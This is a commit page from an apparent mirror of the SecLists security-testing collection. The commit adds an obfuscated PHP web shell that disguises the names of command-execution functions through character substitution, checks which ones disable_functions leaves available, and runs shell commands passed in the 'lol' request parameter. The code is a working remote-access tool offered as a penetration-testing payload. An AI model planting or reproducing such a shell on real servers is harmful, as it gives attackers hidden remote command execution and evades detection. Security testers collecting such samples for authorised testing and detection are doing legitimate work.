danielmiessler/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2024-08-15 13:50:35 +03:00
Code Issues Projects Releases Wiki Activity

Merge pull request #709 from azams/master

Browse Source 
Add another obfuscated php shell and check the disable_functions.
This commit is contained in:
g0tmi1k 2022-04-26 17:25:56 +01:00 committed by GitHub
commit 839b262087
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
Web-Shells/PHP/another-obfuscated-phpshell.php Normal file
View File

@ -0,0 +1,14 @@
<?php // Usage example: GET /another_obfuscated_phpshell.php?lol=ls%20-al
$S=array(m("ncoai","msyte", "cocain"),m("sir","cex","iris"),m("otab","lshe","taboo")."_".m("sir","cex","iris"),m("gbledin","upasthr","bleeding"));
$TR=m("etroubl","edisabl","trouble");$MK=m("dpreambl","sfunctio","preambled");$D=explode(",",ini_get($TR.'_'.$MK));$P=$_REQUEST;
function m($a,$b,$c) {return str_replace(str_split($a), str_split($b), $c);}
foreach($S as $A) {
if(!in_array($A, $D)) {
if($A == m("ncoai","msyte","cocain")) $A($P['lol']);
elseif($A == m("sir","cex","iris")) {
exec("$P 2>&1", $arr);
echo join("\n",$arr)."\n";
} else echo $A($P['lol']);
exit;
}
}